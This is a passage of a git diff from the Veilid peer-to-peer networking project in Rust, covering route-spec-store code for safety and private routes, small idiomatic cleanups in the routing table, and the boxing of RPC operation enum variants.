RouteNode::PeerInfo(Box::new(pi.unwrap())) - }, - next_hop: Some(route_hop_data), - }; - - // Make next blob from route hop - let mut rh_message = ::capnp::message::Builder::new_default(); - let mut rh_builder = rh_message.init_root::(); - encode_route_hop(&route_hop, &mut rh_builder)?; - let mut blob_data = builder_to_vec(rh_message)?; - - // Append the route hop tag so we know how to decode it later - blob_data.push(0u8); - blob_data - }; - - // Make another nonce for the next hop - nonce = vcrypto.random_nonce(); - } - - // Encode first RouteHopData - let dh_secret = vcrypto - .cached_dh(&safety_rsd.hops[0], &safety_rsd.secret_key) - .map_err(RPCError::map_internal("dh failed"))?; - let enc_msg_data = vcrypto - .encrypt_aead(blob_data.as_slice(), &nonce, &dh_secret, None) - .map_err(RPCError::map_internal("encryption failed"))?; - - let route_hop_data = RouteHopData { - nonce, - blob: enc_msg_data, - }; - - SafetyRouteHops::Data(route_hop_data) - }; - - // Build safety route - let safety_route = SafetyRoute { - public_key: TypedKey::new(crypto_kind, sr_pubkey), - hop_count: safety_spec.hop_count as u8, - hops, - }; - - // Add to cache but only if we have an optimized route - if optimize { - inner - .cache - .add_to_compiled_route_cache(pr_pubkey, safety_route.clone()); - } - - // Build compiled route - let compiled_route = CompiledRoute { - safety_route, - secret, - first_hop, - }; - - // Return compiled route - //println!("compile_safety_route profile (uncached): {} us", (get_timestamp() - profile_start_ts)); - Ok(Some(compiled_route)) - } - - /// Get an allocated route that matches a particular safety spec - #[cfg_attr( - feature = "verbose-tracing", - instrument(level = "trace", skip(self, inner, rti), ret, err) - )] - fn get_route_for_safety_spec_inner( - &self, - inner: &mut RouteSpecStoreInner, - rti: &mut RoutingTableInner, - crypto_kind: CryptoKind, - safety_spec: &SafetySpec, - direction: DirectionSet, - avoid_nodes: &[TypedKey], - ) -> EyreResult> { - // Ensure the total hop count isn't too long for our config - let max_route_hop_count = self.unlocked_inner.max_route_hop_count; - if safety_spec.hop_count == 0 { - bail!("safety route hop count is zero"); - } - if safety_spec.hop_count > max_route_hop_count { - bail!("safety route hop count too long"); - } - - // See if the preferred route is here - if let Some(preferred_route) = safety_spec.preferred_route { - if let Some(preferred_rssd) = inner.content.get_detail(&preferred_route) { - // Only use the preferred route if it has the desired crypto kind - if let Some(preferred_key) = preferred_rssd.get_route_set_keys().get(crypto_kind) { - // Only use the preferred route if it doesn't contain the avoid nodes - if !preferred_rssd.contains_nodes(avoid_nodes) { - return Ok(Some(preferred_key.value)); - } - } - } - } - - // Select a safety route from the pool or make one if we don't have one that matches - let sr_route_id = if let Some(sr_route_id) = Self::first_available_route_inner( - inner, - crypto_kind, - safety_spec.hop_count, - safety_spec.hop_count, - safety_spec.stability, - safety_spec.sequencing, - direction, - avoid_nodes, - ) { - // Found a route to use - sr_route_id - } else { - // No route found, gotta allocate one - let Some(sr_route_id) = self - .allocate_route_inner( - inner, - rti, - &[crypto_kind], - safety_spec.stability, - safety_spec.sequencing, - safety_spec.hop_count, - direction, - avoid_nodes, - ) - .map_err(RPCError::internal)? - else { - return Ok(None); - }; - sr_route_id - }; - - let sr_pubkey = inner - .content - .get_detail(&sr_route_id) - .unwrap() - .get_route_set_keys() - .get(crypto_kind) - .unwrap() - .value; - - Ok(Some(sr_pubkey)) - } - - /// Get a private route to use for the answer to question - #[cfg_attr( - feature = "verbose-tracing", - instrument(level = "trace", skip(self), ret, err) - )] - pub fn get_private_route_for_safety_spec( - &self, - crypto_kind: CryptoKind, - safety_spec: &SafetySpec, - avoid_nodes: &[TypedKey], - ) -> EyreResult> { - let inner = &mut *self.inner.lock(); - let routing_table = self.unlocked_inner.routing_table.clone(); - let rti = &mut *routing_table.inner.write(); - - Ok(self.get_route_for_safety_spec_inner( - inner, - rti, - crypto_kind, - safety_spec, - Direction::Inbound.into(), - avoid_nodes, - )?) - } - - fn assemble_private_route_inner( - &self, - key: &PublicKey, - rsd: &RouteSpecDetail, - optimized: bool, - ) -> EyreResult { - let routing_table = self.unlocked_inner.routing_table.clone(); - let rti = &*routing_table.inner.read(); - - // Ensure we get the crypto for it - let crypto = routing_table.network_manager().crypto(); - let Some(vcrypto) = crypto.get(rsd.crypto_kind) else { - bail!("crypto not supported for route"); - }; - - // Ensure our network class is valid before attempting to assemble any routes - if !rti.has_valid_network_class(RoutingDomain::PublicInternet) { - bail!("can't make private routes until our node info is valid"); - } - - // Make innermost route hop to our own node - let mut route_hop = RouteHop { - node: if optimized { - let Some(node_id) = routing_table.node_ids().get(rsd.crypto_kind) else { - bail!("missing node id for crypto kind"); - }; - RouteNode::NodeId(node_id.value) - } else { - let pi = rti.get_own_peer_info(RoutingDomain::PublicInternet); - RouteNode::PeerInfo(Box::new(pi)) - }, - next_hop: None, - }; - - // Loop for each hop - let hop_count = rsd.hops.len(); - // iterate hops in private route order (reverse, but inside out) - for h in 0..hop_count { - let nonce = vcrypto.random_nonce(); - - let blob_data = { - let mut rh_message = ::capnp::message::Builder::new_default(); - let mut rh_builder = rh_message.init_root::(); - encode_route_hop(&route_hop, &mut rh_builder)?; - builder_to_vec(rh_message)? - }; - - // Encrypt the previous blob ENC(nonce, DH(PKhop,SKpr)) - let dh_secret = vcrypto - .cached_dh(&rsd.hops[h], &rsd.secret_key) - .wrap_err("dh failed")?; - let enc_msg_data = vcrypto - .encrypt_aead(blob_data.as_slice(), &nonce, &dh_secret, None) - .wrap_err("encryption failed")?; - let route_hop_data = RouteHopData { - nonce, - blob: enc_msg_data, - }; - - route_hop = RouteHop { - node: if optimized { - // Optimized, no peer info, just the dht key - RouteNode::NodeId(rsd.hops[h]) - } else { - // Full peer info, required until we are sure the route has been fully established - let node_id = TypedKey::new(rsd.crypto_kind, rsd.hops[h]); - let pi = rti - .with_node_entry(node_id, |entry| { - entry.with(rti, |_rti, e| { - e.make_peer_info(RoutingDomain::PublicInternet) - }) - }) - .flatten(); - if pi.is_none() { - bail!("peer info should exist for route but doesn't",); - } - RouteNode::PeerInfo(Box::new(pi.unwrap())) - }, - next_hop: Some(route_hop_data), - } - } - - let private_route = PrivateRoute { - public_key: TypedKey::new(rsd.crypto_kind, key.clone()), - // add hop for 'FirstHop' - hop_count: (hop_count + 1).try_into().unwrap(), - hops: PrivateRouteHops::FirstHop(route_hop), - }; - Ok(private_route) - } - - /// Assemble a single private route for publication - /// Returns a PrivateRoute object for an allocated private route key - #[cfg_attr( - feature = "verbose-tracing", - instrument(level = "trace", skip(self), err) - )] - pub fn assemble_private_route( - &self, - key: &PublicKey, - optimized: Option, - ) -> EyreResult { - let inner = &*self.inner.lock(); - let Some(rsid) = inner.content.get_id_by_key(key) else { - bail!("route key does not exist"); - }; - let Some(rssd) = inner.content.get_detail(&rsid) else { - bail!("route id does not exist"); - }; - - // See if we can optimize this compilation yet - // We don't want to include full nodeinfo if we don't have to - let optimized = optimized.unwrap_or( - rssd.get_stats().last_tested_ts.is_some() - || rssd.get_stats().last_received_ts.is_some(), - ); - - let rsd = rssd - .get_route_by_key(key) - .expect("route key index is broken"); - - self.assemble_private_route_inner(key, rsd, optimized) - } - - /// Assemble private route set for publication - /// Returns a vec of PrivateRoute objects for an allocated private route - #[cfg_attr( - feature = "verbose-tracing", - instrument(level = "trace", skip(self), err) - )] - pub fn assemble_private_routes( - &self, - id: &RouteId, - optimized: Option, - ) -> EyreResult> { - let inner = &*self.inner.lock(); - let Some(rssd) = inner.content.get_detail(id) else { - bail!("route id does not exist"); - }; - - // See if we can optimize this compilation yet - // We don't want to include full nodeinfo if we don't have to - let optimized = optimized.unwrap_or( - rssd.get_stats().last_tested_ts.is_some() - || rssd.get_stats().last_received_ts.is_some(), - ); - - let mut out = Vec::new(); - for (key, rsd) in rssd.iter_route_set() { - out.push(self.assemble_private_route_inner(key, rsd, optimized)?); - } - Ok(out) - } - - /// Import a remote private route for compilation - /// It is safe to import the same route more than once and it will return the same route id - /// Returns a route set id - #[cfg_attr( - feature = "verbose-tracing", - instrument(level = "trace", skip(self, blob), ret, err) - )] - pub fn import_remote_private_route(&self, blob: Vec) -> EyreResult { - let cur_ts = get_aligned_timestamp(); - - // decode the pr blob - let private_routes = RouteSpecStore::blob_to_private_routes( - self.unlocked_inner.routing_table.crypto(), - blob, - )?; - - // make the route id - let id = self.generate_remote_route_id(&private_routes)?; - - // validate the private routes - let inner = &mut *self.inner.lock(); - for private_route in &private_routes { - // ensure private route has first hop - if !matches!(private_route.hops, PrivateRouteHops::FirstHop(_)) { - bail!("private route must have first hop"); - } - - // ensure this isn't also an allocated route - // if inner.content.get_id_by_key(&private_route.public_key.value).is_some() { - // bail!("should not import allocated route"); - // } - } - - inner - .cache - .cache_remote_private_route(cur_ts, id, private_routes); - - Ok(id) - } - - /// Release a remote private route that is no longer in use - #[cfg_attr( - feature = "verbose-tracing", - instrument(level = "trace", skip(self), ret) - )] - pub fn release_remote_private_route(&self, id: RouteId) -> bool { - let inner = &mut *self.inner.lock(); - inner.cache.remove_remote_private_route(id) - } - - /// Get a route id for a route's public key - pub fn get_route_id_for_key(&self, key: &PublicKey) -> Option { - let inner = &mut *self.inner.lock(); - // Check for local route - if let Some(id) = inner.content.get_id_by_key(key) { - return Some(id); - } - - // Check for remote route - if let Some(rrid) = inner.cache.get_remote_private_route_id_by_key(key) { - return Some(rrid); - } - - None - } - - /// Check to see if this remote (not ours) private route has seen our current node info yet - /// This happens when you communicate with a private route without a safety route - pub fn has_remote_private_route_seen_our_node_info(&self, key: &PublicKey) -> bool { - let inner = &mut *self.inner.lock(); - - // Check for local route. If this is not a remote private route, - // we may be running a test and using our own local route as the destination private route. - // In that case we definitely have already seen our own node info - if let Some(_) = inner.content.get_id_by_key(key) { - return true; - } - - if let Some(rrid) = inner.cache.get_remote_private_route_id_by_key(key) { - let cur_ts = get_aligned_timestamp(); - if let Some(rpri) = inner.cache.peek_remote_private_route_mut(cur_ts, &rrid) { - let our_node_info_ts = self - .unlocked_inner - .routing_table - .get_own_node_info_ts(RoutingDomain::PublicInternet); - return rpri.has_seen_our_node_info_ts(our_node_info_ts); - } - } - - false - } - - /// Mark a remote private route as having seen our current node info - /// PRIVACY: - /// We do not accept node info timestamps from remote private routes because this would - /// enable a deanonymization attack, whereby a node could be 'pinged' with a doctored node_info with a - /// special 'timestamp', which then may be sent back over a private route, identifying that it - /// was that node that had the private route. - pub fn mark_remote_private_route_seen_our_node_info( - &self, - key: &PublicKey, - cur_ts: Timestamp, - ) -> EyreResult<()> { - let our_node_info_ts = self - .unlocked_inner - .routing_table - .get_own_node_info_ts(RoutingDomain::PublicInternet); - - let inner = &mut *self.inner.lock(); - - // Check for local route. If this is not a remote private route - // then we just skip the recording. We may be running a test and using - // our own local route as the destination private route. - if let Some(_) = inner.content.get_id_by_key(key) { - return Ok(()); - } - - if let Some(rrid) = inner.cache.get_remote_private_route_id_by_key(key) { - if let Some(rpri) = inner.cache.peek_remote_private_route_mut(cur_ts, &rrid) { - rpri.set_last_seen_our_node_info_ts(our_node_info_ts); - return Ok(()); - } - } - - bail!("private route is missing from store: {}", key); - } - - /// Get the route statistics for any route we know about, local or remote - pub fn with_route_stats(&self, cur_ts: Timestamp, key: &PublicKey, f: F) -> Option - where - F: FnOnce(&mut RouteStats) -> R, - { - let inner = &mut *self.inner.lock(); - - // Check for stub route - if self - .unlocked_inner - .routing_table - .matches_own_node_id_key(key) - { - return None; - } - - // Check for local route - if let Some(rsid) = inner.content.get_id_by_key(key) { - if let Some(rsd) = inner.content.get_detail_mut(&rsid) { - return Some(f(rsd.get_stats_mut())); - } - } - - // Check for remote route - if let Some(rrid) = inner.cache.get_remote_private_route_id_by_key(key) { - if let Some(rpri) = inner.cache.peek_remote_private_route_mut(cur_ts, &rrid) { - return Some(f(rpri.get_stats_mut())); - } - } - - None - } - - /// Clear caches when local our local node info changes - #[instrument(level = "trace", skip(self))] - pub fn reset(&self) { - let inner = &mut *self.inner.lock(); - - // Clean up local allocated routes - inner.content.reset_details(); - - // Reset private route cache - inner.cache.reset_remote_private_routes(); - } - - /// Mark route as published - /// When first deserialized, routes must be re-published in order to ensure they remain - /// in the RouteSpecStore. - pub fn mark_route_published(&self, id: &RouteId, published: bool) -> EyreResult<()> { - let inner = &mut *self.inner.lock(); - let Some(rssd) = inner.content.get_detail_mut(id) else { - bail!("route does not exist"); - }; - rssd.set_published(published); - Ok(()) - } - - /// Process transfer statistics to get averages - pub fn roll_transfers(&self, last_ts: Timestamp, cur_ts: Timestamp) { - let inner = &mut *self.inner.lock(); - - // Roll transfers for locally allocated routes - inner.content.roll_transfers(last_ts, cur_ts); - - // Roll transfers for remote private routes - inner.cache.roll_transfers(last_ts, cur_ts); - } - - /// Convert private route list to binary blob - pub fn private_routes_to_blob(private_routes: &[PrivateRoute]) -> EyreResult> { - let mut buffer = vec![]; - - // Serialize count - let pr_count = private_routes.len(); - if pr_count > MAX_CRYPTO_KINDS { - bail!("too many crypto kinds to encode blob"); - } - let pr_count = pr_count as u8; - buffer.push(pr_count); - - // Serialize stream of private routes - for private_route in private_routes { - let mut pr_message = ::capnp::message::Builder::new_default(); - let mut pr_builder = pr_message.init_root::(); - - encode_private_route(private_route, &mut pr_builder) - .wrap_err("failed to encode private route")?; - - capnp::serialize_packed::write_message(&mut buffer, &pr_message) - .map_err(RPCError::internal) - .wrap_err("failed to convert builder to vec")?; - } - Ok(buffer) - } - - /// Convert binary blob to private route - pub fn blob_to_private_routes(crypto: Crypto, blob: Vec) -> EyreResult> { - // Deserialize count - if blob.is_empty() { - bail!("not deserializing empty private route blob"); - } - - let pr_count = blob[0] as usize; - if pr_count > MAX_CRYPTO_KINDS { - bail!("too many crypto kinds to decode blob"); - } - - // Deserialize stream of private routes - let mut pr_slice = &blob[1..]; - let mut out = Vec::with_capacity(pr_count); - for _ in 0..pr_count { - let reader = capnp::serialize_packed::read_message( - &mut pr_slice, - capnp::message::ReaderOptions::new(), - ) - .map_err(RPCError::internal) - .wrap_err("failed to make message reader")?; - - let pr_reader = reader - .get_root::() - .map_err(RPCError::internal) - .wrap_err("failed to make reader for private_route")?; - let private_route = - decode_private_route(&pr_reader).wrap_err("failed to decode private route")?; - private_route - .validate(crypto.clone()) - .wrap_err("failed to validate private route")?; - - out.push(private_route); - } - - // Don't trust the order of the blob - out.sort_by(|a, b| a.public_key.cmp(&b.public_key)); - - Ok(out) - } - - /// Generate RouteId from typed key set of route public keys - fn generate_allocated_route_id(&self, rssd: &RouteSetSpecDetail) -> EyreResult { - let route_set_keys = rssd.get_route_set_keys(); - let crypto = self.unlocked_inner.routing_table.crypto(); - - let mut idbytes = Vec::with_capacity(PUBLIC_KEY_LENGTH * route_set_keys.len()); - let mut best_kind: Option = None; - for tk in route_set_keys.iter() { - if best_kind.is_none() - || compare_crypto_kind(&tk.kind, best_kind.as_ref().unwrap()) == cmp::Ordering::Less - { - best_kind = Some(tk.kind); - } - idbytes.extend_from_slice(&tk.value.bytes); - } - let Some(best_kind) = best_kind else { - bail!("no compatible crypto kinds in route"); - }; - let vcrypto = crypto.get(best_kind).unwrap(); - - Ok(RouteId::new(vcrypto.generate_hash(&idbytes).bytes)) - } - - /// Generate RouteId from set of private routes - fn generate_remote_route_id(&self, private_routes: &[PrivateRoute]) -> EyreResult { - let crypto = self.unlocked_inner.routing_table.crypto(); - - let mut idbytes = Vec::with_capacity(PUBLIC_KEY_LENGTH * private_routes.len()); - let mut best_kind: Option = None; - for private_route in private_routes { - if best_kind.is_none() - || compare_crypto_kind(&private_route.public_key.kind, best_kind.as_ref().unwrap()) - == cmp::Ordering::Less - { - best_kind = Some(private_route.public_key.kind); - } - idbytes.extend_from_slice(&private_route.public_key.value.bytes); - } - let Some(best_kind) = best_kind else { - bail!("no compatible crypto kinds in route"); - }; - let vcrypto = crypto.get(best_kind).unwrap(); - - Ok(RouteId::new(vcrypto.generate_hash(&idbytes).bytes)) - } -} diff --git a/veilid-core/src/routing_table/routing_domains.rs b/veilid-core/src/routing_table/routing_domains.rs index def1f219..5d280975 100644 --- a/veilid-core/src/routing_table/routing_domains.rs +++ b/veilid-core/src/routing_table/routing_domains.rs @@ -278,7 +278,7 @@ fn first_filtered_dial_info_detail_between_nodes( sequencing: Sequencing, dif_sort: Option> ) -> Option { - let dial_info_filter = dial_info_filter.clone().filtered( + let dial_info_filter = (*dial_info_filter).filtered( &DialInfoFilter::all() .with_address_type_set(from_node.address_types()) .with_protocol_type_set(from_node.outbound_protocols()), @@ -416,7 +416,6 @@ impl RoutingDomainDetail for PublicInternetRoutingDomainDetail { // Does node B have a direct udp dialinfo node A can reach? let udp_dial_info_filter = dial_info_filter - .clone() .filtered(&DialInfoFilter::all().with_protocol_type(ProtocolType::UDP)); if let Some(target_udp_did) = first_filtered_dial_info_detail_between_nodes( node_a, @@ -471,7 +470,7 @@ impl RoutingDomainDetail for PublicInternetRoutingDomainDetail { // Can we reach the inbound relay? if first_filtered_dial_info_detail_between_nodes( node_a, - &node_b_relay, + node_b_relay, &dial_info_filter, sequencing, dif_sort.clone() diff --git a/veilid-core/src/routing_table/routing_table_inner.rs b/veilid-core/src/routing_table/routing_table_inner.rs index eb0f9820..0ec1224a 100644 --- a/veilid-core/src/routing_table/routing_table_inner.rs +++ b/veilid-core/src/routing_table/routing_table_inner.rs @@ -543,7 +543,7 @@ impl RoutingTableInner { // Collect all entries that are 'needs_ping' and have some node info making them reachable somehow let mut node_refs = Vec::::with_capacity(self.bucket_entry_count()); self.with_entries(cur_ts, BucketEntryState::Unreliable, |rti, entry| { - if entry.with_inner(|e| { + let entry_needs_ping = |e: &BucketEntryInner| { // If this entry isn't in the routing domain we are checking, don't include it if !e.exists_in_routing_domain(rti, routing_domain) { return false; @@ -566,7 +566,9 @@ impl RoutingTableInner { } false - }) { + }; + + if entry.with_inner(entry_needs_ping) { node_refs.push(NodeRef::new( outer_self.clone(), entry, @@ -982,7 +984,7 @@ impl RoutingTableInner { match entry { None => has_valid_own_node_info, Some(entry) => entry.with_inner(|e| { - e.signed_node_info(routing_domain.into()) + e.signed_node_info(routing_domain) .map(|sni| sni.has_any_signature()) .unwrap_or(false) }), @@ -1079,11 +1081,7 @@ impl RoutingTableInner { move |_rti: &RoutingTableInner, v: Option>| { if let Some(entry) = &v { // always filter out dead nodes - if entry.with_inner(|e| e.state(cur_ts) == BucketEntryState::Dead) { - false - } else { - true - } + !entry.with_inner(|e| e.state(cur_ts) == BucketEntryState::Dead) } else { // always filter out self peer, as it is irrelevant to the 'fastest nodes' search false @@ -1099,7 +1097,7 @@ impl RoutingTableInner { // same nodes are always the same if let Some(a_entry) = a_entry { if let Some(b_entry) = b_entry { - if Arc::ptr_eq(&a_entry, &b_entry) { + if Arc::ptr_eq(a_entry, b_entry) { return core::cmp::Ordering::Equal; } } @@ -1150,9 +1148,7 @@ impl RoutingTableInner { }) }; - let out = - self.find_peers_with_sort_and_filter(node_count, cur_ts, filters, sort, transform); - out + self.find_peers_with_sort_and_filter(node_count, cur_ts, filters, sort, transform) } pub fn find_preferred_closest_nodes( @@ -1193,7 +1189,7 @@ impl RoutingTableInner { // same nodes are always the same if let Some(a_entry) = a_entry { if let Some(b_entry) = b_entry { - if Arc::ptr_eq(&a_entry, &b_entry) { + if Arc::ptr_eq(a_entry, b_entry) { return core::cmp::Ordering::Equal; } } diff --git a/veilid-core/src/routing_table/tests/test_serialize_routing_table.rs b/veilid-core/src/routing_table/tests/test_serialize_routing_table.rs index bbf2ac30..bd81e8c2 100644 --- a/veilid-core/src/routing_table/tests/test_serialize_routing_table.rs +++ b/veilid-core/src/routing_table/tests/test_serialize_routing_table.rs @@ -30,8 +30,8 @@ pub async fn test_routingtable_buckets_round_trip() { for crypto in routing_table_keys { // The same keys are present in the original and copy RoutingTables. - let original_buckets = original_inner.buckets.get(&crypto).unwrap(); - let copy_buckets = copy_inner.buckets.get(&crypto).unwrap(); + let original_buckets = original_inner.buckets.get(crypto).unwrap(); + let copy_buckets = copy_inner.buckets.get(crypto).unwrap(); // Recurse into RoutingTable.inner.buckets for (left_buckets, right_buckets) in original_buckets.iter().zip(copy_buckets.iter()) { diff --git a/veilid-core/src/rpc_processor/coders/node_info.rs b/veilid-core/src/rpc_processor/coders/node_info.rs index 288d55d7..a2ad79b8 100644 --- a/veilid-core/src/rpc_processor/coders/node_info.rs +++ b/veilid-core/src/rpc_processor/coders/node_info.rs @@ -16,7 +16,7 @@ pub fn encode_node_info( .reborrow() .init_envelope_support(node_info.envelope_support().len() as u32); if let Some(s) = es_builder.as_slice() { - s.clone_from_slice(&node_info.envelope_support()); + s.clone_from_slice(node_info.envelope_support()); } let mut cs_builder = builder @@ -100,7 +100,7 @@ pub fn decode_node_info(reader: &veilid_capnp::node_info::Reader) -> Result MAX_ENVELOPE_VERSIONS { return Err(RPCError::protocol("too many envelope versions")); } - if envelope_support.len() == 0 { + if envelope_support.is_empty() { return Err(RPCError::protocol("no envelope versions")); } @@ -129,7 +129,7 @@ pub fn decode_node_info(reader: &veilid_capnp::node_info::Reader) -> Result MAX_CRYPTO_KINDS { return Err(RPCError::protocol("too many crypto kinds")); } - if crypto_support.len() == 0 { + if crypto_support.is_empty() { return Err(RPCError::protocol("no crypto kinds")); } diff --git a/veilid-core/src/rpc_processor/coders/operations/answer.rs b/veilid-core/src/rpc_processor/coders/operations/answer.rs index 356d1ba5..5415345f 100644 --- a/veilid-core/src/rpc_processor/coders/operations/answer.rs +++ b/veilid-core/src/rpc_processor/coders/operations/answer.rs @@ -31,22 +31,22 @@ impl RPCAnswer { #[derive(Debug, Clone)] pub enum RPCAnswerDetail { - StatusA(RPCOperationStatusA), - FindNodeA(RPCOperationFindNodeA), - AppCallA(RPCOperationAppCallA), - GetValueA(RPCOperationGetValueA), - SetValueA(RPCOperationSetValueA), - WatchValueA(RPCOperationWatchValueA), + StatusA(Box), + FindNodeA(Box), + AppCallA(Box), + GetValueA(Box), + SetValueA(Box), + WatchValueA(Box), #[cfg(feature = "unstable-blockstore")] - SupplyBlockA(RPCOperationSupplyBlockA), + SupplyBlockA(Box), #[cfg(feature = "unstable-blockstore")] - FindBlockA(RPCOperationFindBlockA), + FindBlockA(Box), #[cfg(feature = "unstable-tunnels")] - StartTunnelA(RPCOperationStartTunnelA), + StartTunnelA(Box), #[cfg(feature = "unstable-tunnels")] - CompleteTunnelA(RPCOperationCompleteTunnelA), + CompleteTunnelA(Box), #[cfg(feature = "unstable-tunnels")] - CancelTunnelA(RPCOperationCancelTunnelA), + CancelTunnelA(Box), } impl RPCAnswerDetail { @@ -98,62 +98,62 @@ impl RPCAnswerDetail { veilid_capnp::answer::detail::StatusA(r) => { let op_reader = r.map_err(RPCError::protocol)?; let out = RPCOperationStatusA::decode(&op_reader)?; - RPCAnswerDetail::StatusA(out) + RPCAnswerDetail::StatusA(Box::new(out)) } veilid_capnp::answer::detail::FindNodeA(r) => { let op_reader = r.map_err(RPCError::protocol)?; let out = RPCOperationFindNodeA::decode(&op_reader)?; - RPCAnswerDetail::FindNodeA(out) + RPCAnswerDetail::FindNodeA(Box::new(out)) } veilid_capnp::answer::detail::AppCallA(r) => { let op_reader = r.map_err(RPCError::protocol)?; let out = RPCOperationAppCallA::decode(&op_reader)?; - RPCAnswerDetail::AppCallA(out) + RPCAnswerDetail::AppCallA(Box::new(out)) } veilid_capnp::answer::detail::GetValueA(r) => { let op_reader = r.map_err(RPCError::protocol)?; let out = RPCOperationGetValueA::decode(&op_reader)?; - RPCAnswerDetail::GetValueA(out) + RPCAnswerDetail::GetValueA(Box::new(out)) } veilid_capnp::answer::detail::SetValueA(r) => { let op_reader = r.map_err(RPCError::protocol)?; let out = RPCOperationSetValueA::decode(&op_reader)?; - RPCAnswerDetail::SetValueA(out) + RPCAnswerDetail::SetValueA(Box::new(out)) } veilid_capnp::answer::detail::WatchValueA(r) => { let op_reader = r.map_err(RPCError::protocol)?; let out = RPCOperationWatchValueA::decode(&op_reader)?; - RPCAnswerDetail::WatchValueA(out) + RPCAnswerDetail::WatchValueA(Box::new(out)) } #[cfg(feature = "unstable-blockstore")] veilid_capnp::answer::detail::SupplyBlockA(r) => { let op_reader = r.map_err(RPCError::protocol)?; let out = RPCOperationSupplyBlockA::decode(&op_reader)?; - RPCAnswerDetail::SupplyBlockA(out) + RPCAnswerDetail::SupplyBlockA(Box::new(out)) } #[cfg(feature = "unstable-blockstore")] veilid_capnp::answer::detail::FindBlockA(r) => { let op_reader = r.map_err(RPCError::protocol)?; let out = RPCOperationFindBlockA::decode(&op_reader)?; - RPCAnswerDetail::FindBlockA(out) + RPCAnswerDetail::FindBlockA(Box::new(out)) } #[cfg(feature = "unstable-tunnels")] veilid_capnp::answer::detail::StartTunnelA(r) => { let op_reader = r.map_err(RPCError::protocol)?; let out = RPCOperationStartTunnelA::decode(&op_reader)?; - RPCAnswerDetail::StartTunnelA(out) + RPCAnswerDetail::StartTunnelA(Box::new(out)) } #[cfg(feature = "unstable-tunnels")] veilid_capnp::answer::detail::CompleteTunnelA(r) => { let op_reader = r.map_err(RPCError::protocol)?; let out = RPCOperationCompleteTunnelA::decode(&op_reader)?; - RPCAnswerDetail::CompleteTunnelA(out) + RPCAnswerDetail::CompleteTunnelA(Box::new(out)) } #[cfg(feature = "unstable-tunnels")] veilid_capnp::answer::detail::CancelTunnelA(r) => { let op_reader = r.map_err(RPCError::protocol)?; let out = RPCOperationCancelTunnelA::decode(&op_reader)?; - RPCAnswerDetail::CancelTunnelA(out) + RPCAnswerDetail::CancelTunnelA(Box::new(out)) } }; Ok(out) diff --git a/veilid-core/src/rpc_processor/coders/operations/operation.rs b/veilid-core/src/rpc_processor/coders/operations/operation.rs index 9118c2cb..446ef7ea 100644 --- a/veilid-core/src/rpc_processor/coders/operations/operation.rs +++ b/veilid-core/src/rpc_processor/coders/operations/operation.rs @@ -2,9 +2,9 @@ use super::*; #[derive(Debug, Clone)] pub enum RPCOperationKind { - Question(RPCQuestion), - Statement(RPCStatement), - Answer(RPCAnswer), + Question(Box), + Statement(Box), + Answer(Box), } impl RPCOperationKind { @@ -30,17 +30,17 @@ impl RPCOperationKind { veilid_capnp::operation::kind::Which::Question(r) => { let q_reader = r.map_err(RPCError::protocol)?; let out = RPCQuestion::decode(&q_reader)?; - RPCOperationKind::Question(out) + RPCOperationKind::Question(Box::new(out)) } veilid_capnp::operation::kind::Which::Statement(r) => { let q_reader = r.map_err(RPCError::protocol)?; let out = RPCStatement::decode(&q_reader)?; - RPCOperationKind::Statement(out) + RPCOperationKind::Statement(Box::new(out)) } veilid_capnp::operation::kind::Which::Answer(r) => { let q_reader = r.map_err(RPCError::protocol)?; let out = RPCAnswer::decode(&q_reader)?; - RPCOperationKind::Answer(out) + RPCOperationKind::Answer(Box::new(out)) } }; @@ -73,7 +73,7 @@ impl RPCOperation { op_id: OperationId::new(get_random_u64()), opt_sender_peer_info: sender_peer_info.opt_sender_peer_info, target_node_info_ts: sender_peer_info.target_node_info_ts, - kind: RPCOperationKind::Question(question), + kind: RPCOperationKind::Question(Box::new(question)), } } pub fn new_statement(statement: RPCStatement, sender_peer_info: SenderPeerInfo) -> Self { @@ -81,7 +81,7 @@ impl RPCOperation { op_id: OperationId::new(get_random_u64()), opt_sender_peer_info: sender_peer_info.opt_sender_peer_info, target_node_info_ts: sender_peer_info.target_node_info_ts, - kind: RPCOperationKind::Statement(statement), + kind: RPCOperationKind::Statement(Box::new(statement)), } } @@ -94,7 +94,7 @@ impl RPCOperation { op_id: request.op_id, opt_sender_peer_info: sender_peer_info.opt_sender_peer_info, target_node_info_ts: sender_peer_info.target_node_info_ts, - kind: RPCOperationKind::Answer(answer), + kind: RPCOperationKind::Answer(Box::new(answer)), } } @@ -163,7 +163,7 @@ impl RPCOperation { builder.set_op_id(self.op_id.as_u64()); if let Some(sender_peer_info) = &self.opt_sender_peer_info { let mut pi_builder = builder.reborrow().init_sender_peer_info(); - encode_peer_info(&sender_peer_info, &mut pi_builder)?; + encode_peer_info(sender_peer_info, &mut pi_builder)?; } builder.set_target_node_info_ts(self.target_node_info_ts.as_u64()); let mut k_builder = builder.reborrow().init_kind(); diff --git a/veilid-core/src/rpc_processor/coders/operations/operation_set_value.rs b/veilid-core/src/rpc_processor/coders/operations/operation_set_value.rs index 3ff5c71f..2e2133a1 100644 --- a/veilid-core/src/rpc_processor/coders/operations/operation_set_value.rs +++ b/veilid-core/src/rpc_processor/coders/operations/operation_set_value.rs @@ -122,7 +122,7 @@ impl RPCOperationSetValueA { value: Option, peers: Vec, ) -> Result { - if peers.len() as usize > MAX_SET_VALUE_A_PEERS_LEN { + if peers.len() > MAX_SET_VALUE_A_PEERS_LEN { return Err(RPCError::protocol( "encoded SetValueA peers length too long", )); diff --git a/veilid-core/src/rpc_processor/coders/operations/operation_status.rs b/veilid-core/src/rpc_processor/coders/operations/operation_status.rs index 99cb5985..4a5e991d 100644 --- a/veilid-core/src/rpc_processor/coders/operations/operation_status.rs +++ b/veilid-core/src/rpc_processor/coders/operations/operation_status.rs @@ -36,7 +36,7 @@ impl RPCOperationStatusQ { ) -> Result<(), RPCError> { if let Some(ns) = &self.node_status { let mut ns_builder = builder.reborrow().init_node_status(); - encode_node_status(&ns, &mut ns_builder)?; + encode_node_status(ns, &mut ns_builder)?; } Ok(()) } @@ -98,11 +98,11 @@ impl RPCOperationStatusA { ) -> Result<(), RPCError> { if let Some(ns) = &self.node_status { let mut ns_builder = builder.reborrow().init_node_status(); - encode_node_status(&ns, &mut ns_builder)?; + encode_node_status(ns, &mut ns_builder)?; } if let Some(si) = &self.sender_info { let mut si_builder = builder.reborrow().init_sender_info(); - encode_sender_info(&si, &mut si_builder)?; + encode_sender_info(si, &mut si_builder)?; } Ok(()) } diff --git a/veilid-core/src/rpc_processor/coders/operations/operation_watch_value.rs 